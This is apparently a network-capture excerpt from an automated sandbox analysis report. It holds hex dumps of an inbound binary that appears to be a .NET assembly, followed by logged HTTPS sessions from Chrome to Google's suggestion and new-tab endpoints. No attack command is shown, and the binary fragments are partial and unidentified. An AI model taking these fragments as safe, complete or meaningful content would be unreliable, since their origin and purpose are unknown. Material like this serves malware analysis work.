Nov 20, 2024 07:48:27.338689089 CET	1236	IN	Data Raw: c8 10 06 00 01 01 c8 10 7f 00 e1 00 31 0c 87 00 e1 00 a7 0d 8e 00 e1 00 c8 10 06 00 f1 00 c8 10 06 00 e1 00 f1 13 98 00 b1 00 c8 10 06 00 b9 00 b8 06 a0 00 b9 00 56 15 a8 00 11 01 c8 10 ae 00 19 01 c8 10 06 00 e9 01 77 04 b6 00 21 01 c8 10 06 00 Data Ascii: 1Vw!!!!&!A166J_x!x.@!hIA@)Yx\1g1eIvQ
Nov 20, 2024 07:48:27.338701963 CET	1236	IN	Data Raw: 61 04 00 00 23 02 61 04 00 00 56 02 61 04 00 00 84 02 61 04 00 00 10 00 61 04 00 00 6f 00 61 04 00 00 d4 00 61 04 00 00 32 01 61 04 00 00 72 01 61 04 00 00 ba 01 61 04 00 00 e4 01 61 04 00 00 0e 02 61 04 00 00 38 02 61 04 00 00 6b 02 61 04 00 00 Data Ascii: a#aVaaaoaa2araaaa8aka&aaaHaaee:koLkQo>aaaaTkRSVW
Nov 20, 2024 07:48:27.343754053 CET	1236	IN	Data Raw: 34 00 73 65 74 5f 57 6f 72 64 31 34 00 67 65 74 5f 57 6f 72 64 32 34 00 73 65 74 5f 57 6f 72 64 32 34 00 54 6f 49 6e 74 36 34 00 67 65 74 5f 57 6f 72 64 34 00 73 65 74 5f 57 6f 72 64 34 00 67 65 74 5f 57 6f 72 64 31 35 00 73 65 74 5f 57 6f 72 64 Data Ascii: 4set_Word14get_Word24set_Word24ToInt64get_Word4set_Word4get_Word15set_Word15get_Word5set_Word5get_Word16set_Word16get_Word6set_Word6get_Word17set_Word17get_Word7set_Word7get_Word18set_Word18get_UTF8get_Word8set_Word8get

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	142.250.186.164	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:11 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 06:48:12 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:11 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-fQNSdJXaGpqT-S9Qln9KeQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 06:48:12 UTC	124	IN	Data Raw: 31 62 63 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 74 6f 78 65 6c 20 70 6f 6b 65 6d 6f 6e 20 67 6f 22 2c 22 74 31 20 7a 65 75 73 22 2c 22 67 6c 61 64 69 61 74 6f 72 20 69 69 22 2c 22 62 6f 73 74 6f 6e 20 75 6e 69 76 65 72 73 69 74 79 20 73 75 73 70 65 6e 64 73 20 61 64 6d 69 73 73 69 6f 6e 73 22 2c 22 6b 79 6c 65 20 62 75 73 63 68 22 2c 22 68 69 67 68 20 70 6f 74 65 6e Data Ascii: 1bc8)]}'["",["toxel pokemon go","t1 zeus","gladiator ii","boston university suspends admissions","kyle busch","high poten
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 74 69 61 6c 20 6e 65 77 20 65 70 69 73 6f 64 65 73 22 2c 22 6d 61 67 6e 65 74 69 63 20 6e 6f 72 74 68 20 70 6f 6c 65 20 6d 6f 76 69 6e 67 22 2c 22 62 6f 65 69 6e 67 20 6c 61 79 6f 66 66 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 Data Ascii: tial new episodes","magnetic north pole moving","boeing layoffs"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:ent
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 6b 70 49 54 6c 64 6a 61 31 5a 56 53 6e 70 44 57 44 51 32 4d 48 46 54 51 31 46 45 63 44 6c 71 61 57 74 68 55 6b 6c 52 4d 30 68 44 55 57 78 33 54 45 4e 32 4f 45 46 5a 4d 48 42 44 56 6b 70 4a 4f 54 46 69 56 6c 4a 61 62 30 30 78 56 54 6c 34 61 33 64 79 4c 31 6c 4b 52 6a 4e 58 4e 6c 67 79 57 58 68 69 55 54 52 76 53 32 4e 4c 55 31 68 4e 53 6b 38 79 52 47 35 69 59 6d 5a 49 4d 58 4a 6b 4f 45 78 69 59 54 56 69 57 48 4a 6e 4d 6e 6c 53 4f 45 64 6b 51 6a 4e 49 62 56 56 79 51 58 64 6a 4b 32 64 42 54 7a 4e 32 57 47 78 53 53 6c 46 5a 51 7a 42 4c 56 54 59 32 4e 6a 51 30 59 30 74 72 51 6b 4a 56 55 31 52 35 52 32 35 69 52 6c 41 34 51 57 45 30 54 46 56 44 53 32 78 77 63 45 46 54 55 30 46 57 4b 7a 56 33 51 69 39 42 52 6b 5a 6c 61 33 64 31 64 30 4e 6c 65 57 6c 70 61 58 49 31 Data Ascii: kpITldja1ZVSnpDWDQ2MHFTQ1FEcDlqaWthUklRM0hDUWx3TEN2OEFZMHBDVkpJOTFiVlJab00xVTl4a3dyL1lKRjNXNlgyWXhiUTRvS2NLU1hNSk8yRG5iYmZIMXJkOExiYTViWHJnMnlSOEdkQjNIbVVyQXdjK2dBTzN2WGxSSlFZQzBLVTY2NjQ0Y0trQkJVU1R5R25iRlA4QWE0TFVDS2xwcEFTU0FWKzV3Qi9BRkZla3d1d0NleWlpaXI1
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 42 51 55 46 42 51 55 46 42 51 55 46 45 51 6b 46 56 51 30 4a 6e 52 55 45 76 4f 46 46 42 53 48 68 46 51 55 46 6e 53 55 4e 42 5a 30 31 43 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 46 51 30 56 52 54 57 68 46 61 6b 56 70 54 57 78 46 52 53 38 35 62 30 46 45 51 55 31 43 51 55 46 4a 55 6b 46 34 52 55 46 51 64 30 4a 6f 54 30 38 33 61 30 51 34 55 6e 68 49 55 54 52 54 56 6a 42 6e 64 58 64 4a 63 30 35 57 4b 33 56 4c 59 56 5a 42 61 33 68 4d 51 55 5a 69 56 31 56 72 61 6a 63 32 4e 46 46 61 64 6b 46 36 55 30 34 7a 59 55 74 35 62 6d 68 69 59 54 4a 50 57 58 64 76 4e 6e 5a 4f 53 6b 35 70 56 6d 5a 68 59 58 46 56 56 54 6c 4c 63 32 74 72 61 32 68 42 51 33 42 34 53 6c 41 7a 4f 57 4e 56 4f 45 64 54 4d 43 74 58 4e 56 42 4f 54 47 35 42 63 46 70 4c 62 46 4e 58 51 55 Data Ascii: BQUFBQUFBQUFEQkFVQ0JnRUEvOFFBSHhFQUFnSUNBZ01CQUFBQUFBQUFBQUFBQUFFQ0VRTWhFakVpTWxFRS85b0FEQU1CQUFJUkF4RUFQd0JoT083a0Q4UnhIUTRTVjBndXdJc05WK3VLYVZBa3hMQUZiV1Vrajc2NFFadkF6U04zYUt5bmhiYTJPWXdvNnZOSk5pVmZhYXFVVTlLc2tra2hBQ3B4SlAzOWNVOEdTMCtXNVBOTG5BcFpLbFNXQU
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 7a 56 4a 4c 30 34 77 64 7a 56 68 63 54 42 55 4e 6d 51 77 53 44 46 72 4d 47 5a 30 51 7a 41 77 54 33 6c 53 54 55 46 4d 52 44 68 55 59 33 70 70 63 58 6c 72 51 30 74 72 5a 56 46 74 65 45 6c 49 65 55 64 4b 53 31 4e 75 57 6a 56 5a 52 32 6c 4a 4d 57 46 42 55 32 5a 49 4b 33 4a 5a 59 30 30 34 64 45 78 72 62 46 45 77 61 6d 78 70 4e 6a 6b 77 61 45 63 79 4e 32 4e 6d 55 7a 55 72 56 30 4a 36 56 6e 42 56 52 57 63 72 54 6e 52 73 52 47 74 4e 63 55 55 78 64 43 39 33 52 47 49 7a 51 6b 74 46 61 7a 4a 47 61 56 41 78 64 47 6c 6b 65 6b 64 76 54 45 74 33 57 6a 56 4f 57 45 31 54 51 7a 51 35 55 44 4a 33 5a 44 4a 68 62 6d 6c 6c 64 57 78 6f 59 7a 4e 46 63 30 4a 70 52 7a 4e 4f 4d 6c 5a 53 4e 6e 4e 51 54 45 4e 68 64 56 6c 42 52 57 45 77 59 32 64 74 4e 55 6c 4a 51 6a 6c 4e 57 56 56 55 Data Ascii: zVJL04wdzVhcTBUNmQwSDFrMGZ0QzAwT3lSTUFMRDhUY3ppcXlrQ0trZVFteElIeUdKS1NuWjVZR2lJMWFBU2ZIK3JZY004dExrbFEwamxpNjkwaEcyN2NmUzUrV0J6VnBVRWcrTnRsRGtNcUUxdC93RGIzQktFazJGaVAxdGlkekdvTEt3WjVOWE1TQzQ5UDJ3ZDJhbmlldWxoYzNFc0JpRzNOMlZSNnNQTENhdVlBRWEwY2dtNUlJQjlNWVVU
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 46 51 6c 46 46 51 30 46 33 52 43 39 34 51 55 46 74 52 56 46 42 51 6b 4a 42 51 55 56 43 55 56 56 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 43 51 55 46 4a 52 45 56 52 55 56 4e 4a 56 55 56 34 56 56 6c 48 61 48 64 52 56 56 52 5a 5a 45 68 33 4c 7a 6c 76 51 55 52 42 54 55 4a 42 51 55 6c 53 51 58 68 46 51 56 42 33 51 6a 51 32 53 46 67 72 4f 54 49 76 63 44 59 79 55 7a 4e 48 4e 6e 70 70 52 32 31 71 64 30 30 30 53 6b 78 46 4f 57 64 42 54 7a 56 50 61 55 39 72 4e 79 39 42 54 57 70 4c 5a 33 4a 52 4d 6b 39 73 65 57 52 79 65 58 70 54 61 32 5a 4f 56 6c 56 45 4c 30 30 32 4e 57 4e 77 52 6a 49 35 63 30 35 56 65 57 39 30 61 44 5a 69 63 56 68 4e 61 48 64 79 4d 57 70 69 59 7a 68 46 4f 45 6c 31 55 32 56 42 56 Data Ascii: FBQUFBQUFBQUFBQUFBQUFFQlFFQ0F3RC94QUFtRVFBQkJBQUVCUVVBQUFBQUFBQUFBQUFCQUFJREVRUVNJVUV4VVlHaHdRVVRZZEh3LzlvQURBTUJBQUlSQXhFQVB3QjQ2SFgrOTIvcDYyUzNHNnppR21qd000SkxFOWdBTzVPaU9rNy9BTWpLZ3JRMk9seWRyeXpTa2ZOVlVEL002NWNwRjI5c05VeW90aDZicVhNaHdyMWpiYzhFOEl1U2VBV
2024-11-20 06:48:12 UTC	46	IN	Data Raw: 61 55 70 74 62 44 46 48 61 48 56 54 54 6e 5a 6e 59 55 70 73 51 6b 70 43 52 31 46 42 55 6e 4a 35 53 47 78 61 5a 33 56 72 56 6d 64 78 0d 0a Data Ascii: aUptbDFHaHVTTnZnYUpsQkpCR1FBUnJ5SGxaZ3VrVmdx
2024-11-20 06:48:12 UTC	94	IN	Data Raw: 35 38 0d 0a 52 46 46 36 65 55 6b 35 53 56 42 6c 61 44 4a 7a 51 7a 68 54 4e 53 74 46 63 6a 4e 33 54 31 46 45 4e 6b 52 56 65 54 59 35 57 6a 4a 78 53 32 6c 4d 56 57 52 59 53 46 56 57 51 6b 64 4a 62 31 55 31 57 58 51 35 54 6b 55 79 62 7a 5a 6c 5a 57 35 73 61 58 46 78 54 32 35 74 0d 0a Data Ascii: 58RFF6eUk5SVBlaDJzQzhTNStFcjN3T1FENkRVeTY5WjJxS2lMVWRYSFVWQkdJb1U1WXQ5TkUybzZlZW5saXFxT25t
2024-11-20 06:48:12 UTC	740	IN	Data Raw: 32 64 64 0d 0a 56 58 52 75 52 6c 4a 71 59 6a 4a 34 62 6d 74 49 4d 44 64 68 61 31 63 79 4d 7a 4a 70 61 46 49 31 53 31 63 77 4d 47 4e 6a 5a 30 6f 79 54 57 6c 72 61 45 52 75 4e 6b 52 35 4e 44 68 30 55 6b 67 32 61 58 64 53 56 79 39 70 55 44 4e 4b 59 56 4e 5a 5a 44 52 6b 56 47 56 43 4e 32 51 77 51 6e 51 78 64 6d 31 77 63 6d 56 70 4d 56 49 7a 4d 57 4e 6f 54 58 4d 33 53 47 35 4e 61 6d 51 76 65 48 64 51 64 47 38 31 59 55 39 76 4e 33 52 69 51 6b 68 48 57 6d 31 6b 56 33 64 47 61 6d 59 7a 4d 58 70 71 64 47 73 34 61 6a 67 34 4f 47 45 78 62 6e 42 74 52 6b 78 7a 61 46 6f 35 4d 30 64 48 65 55 35 34 52 31 4a 72 61 6c 42 48 59 31 70 34 4e 56 70 34 62 32 56 33 63 55 6b 32 62 47 6c 44 4d 47 6c 77 64 45 39 51 51 57 52 53 5a 32 70 71 59 58 68 4b 4e 58 70 75 55 48 42 34 4e 6d Data Ascii: 2ddVXRuRlJqYjJ4bmtIMDdha1cyMzJpaFI1S1cwMGNjZ0oyTWlraERuNkR5NDh0Ukg2aXdSVy9pUDNKYVNZZDRkVGVCN2QwQnQxdm1wcmVpMVIzMWNoTXM3SG5NamQveHdQdG81YU9vN3RiQkhHWm1kV3dGamYzMXpqdGs4ajg4OGExbnBtRkxzaFo5M0dHeU54R1JralBHY1p4NVp4b2V3cUk2bGlDMGlwdE9QQWRSZ2pqYXhKNXpuUHB4Nm
2024-11-20 06:48:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.186.164	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:11 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 06:48:12 UTC	1018	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 06:48:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 06:48:12 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-20 06:48:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	142.250.186.164	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:11 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 06:48:12 UTC	1119	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 06:48:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 06:48:12 UTC	271	IN	Data Raw: 31 64 39 35 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1d95)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 Data Ascii: u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabind
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 Data Ascii: role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdi
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 Data Ascii: h?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 Data Ascii: ,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 37 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 Data Ascii: 